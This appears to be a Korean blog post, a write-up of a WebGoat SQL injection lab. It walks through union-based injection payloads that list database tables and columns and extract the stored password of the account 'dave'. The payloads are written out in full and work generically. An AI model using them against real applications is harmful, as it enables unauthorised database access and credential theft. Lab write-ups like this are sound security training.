2021. 5. 2. 00:52ㆍ워게임
1. 테이블에서 모든 데이터를 검색 후 dave의 비밀번호를 알아내시오.
2. 특수문자 하나만 입력시 어떤 쿼리가 내부적으로 동작하는지 출력되었다.
sql 인젝션 이용하여 문제를 풀수있을듯함.
3. 다음 구문을 name에 입력하니 user_data 테이블의 모든 값이 출력되었다.
4. sql 인젝션 취약점이 있고 앞의 쿼리문의 필드 갯수를 알고있기 때문에
' union select null, null, table_name, null, null, null, null from information_schema.tables-- 구문을 입력해 메타정보를 볼수있다. 여기서 공격에 필요한 유의미한 정보를 얻을수있는 테이블에 대한 정보를 찾아보면된다.
5. 출력된 테이블중 의미있어보이는 USER_SYSTEM_DATA테이블의 컬럼을 알아내기위해 다음 구문을 삽입해본다.
' union select null, column_name, null, null, null, null, null from information_schema.columns WHERE table_name = 'USER_SYSTEM_DATA'--
USER_NAME, PASSWORD 컬럼을 활용해 ID/PW를 알아낼 수 있겠음.
6. 다음 첫번째 구문으로 dave라는 계정의 유무를 알아낼 수 있다.
' union select null, null, USER_NAME, null, null, null, null from USER_SYSTEM_DATA--
다음의 구문으로 dave에 해당하는 pw를 알아낼 수 있음.
' union select null, null, PASSWORD, null, null, null, null from USER_SYSTEM_DATA where USER_NAME = 'dave'-
알아낸 패스워드 passW0rD로 패스워드를 체크한 결과 패스워드가 일치하는것을 확인가능.
'워게임' 카테고리의 다른 글
os command injection(비박스) (0) | 2021.06.15 |
---|---|
프론트엔드 제한우회 (webgoat-8.0.0) (0) | 2021.05.03 |
불충분한인증 - secure passwords (webgoat-8.0.0) (0) | 2021.05.01 |
CSRF 문제풀이(webgoat-8.0.0) (0) | 2021.04.30 |
XSS 문제풀이1(webgoat-8.0.0) (0) | 2021.04.30 |